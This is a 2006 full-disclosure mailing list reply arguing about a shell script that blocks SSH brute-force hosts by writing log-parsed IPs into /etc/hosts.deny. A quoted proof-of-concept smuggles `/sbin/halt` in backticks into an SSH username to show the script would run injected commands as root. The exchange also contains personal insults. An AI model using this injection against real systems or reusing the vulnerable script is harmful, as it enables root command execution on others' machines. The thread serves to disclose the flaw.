full-disclosure - Re: SSH brute force blocking tool

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Message-ID: <456B551B.9080605@infiltrated.net>
Date: Mon, 27 Nov 2006 16:14:03 -0500
From: "J. Oquendo" <sil@...iltrated.net>
To: gabriel rosenkoetter <gr@...ipsed.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: SSH brute force blocking tool

gabriel rosenkoetter wrote:
> On Mon, Nov 27, 2006 at 03:51:39PM -0500, J. Oquendo wrote:
>   
>> Since you seem to be clueless I'll answer step by step. Here goes idiot. 
>> (Sinful to see someone so clueless coming from Gentoo... Guess it goes 
>> with the romper room Linux territory)
>>     
>
> Uh... actually, no. The provided exploit Will work, and you're the
> idiot.
>
> Here, let me show you.
>
> You do this:
>
>   
>> /////
>> awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >> 
>> /tmp/hosts.deny
>> diff /etc/hosts.deny /tmp/hosts.deny | awk '/\./ && />/{print $2}' >> 
>> /etc/hosts.deny
>> /////
>>
>> There is no hocus pocus here. Look at /var/log/secure and fine the term
>> "error retrieving" and print the next line, 13th column. Then sort it and
>> print the unique entries into /tmp/hosts.deny. After you do this, compare
>> /tmp/hosts.deny with /etc/hosts.deny and put the differences not in 
>> /etc/hosts.deny
>> into /etc/hosts.deny
>>     
>
> What will be in column 13 when Tavis does this:
>
>   
>> Tavis Ormandy wrote:
>>     
>>> Here's an exploit.
>>>
>>> #!/bin/sh
>>> ssh 'foo bar `/sbin/halt`'@...tim
>>>       
>
> Why, the shelled-out output of `/sbin/halt`!
>
> Or, hey, anything he or I care to put inside backticks. You'll
> execute it blindly, as root, on your system.
>
> Kids, don't use this script. Please.
>   

Jesus christ people get stupider by the moment. W/e the script is there 
for scrutiny there is no hidden voodoo. If you DO want to see hidden 
voodoo here it is,,,


-- 
====================================================
J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net 

The happiness of society is the end of government.
John Adams


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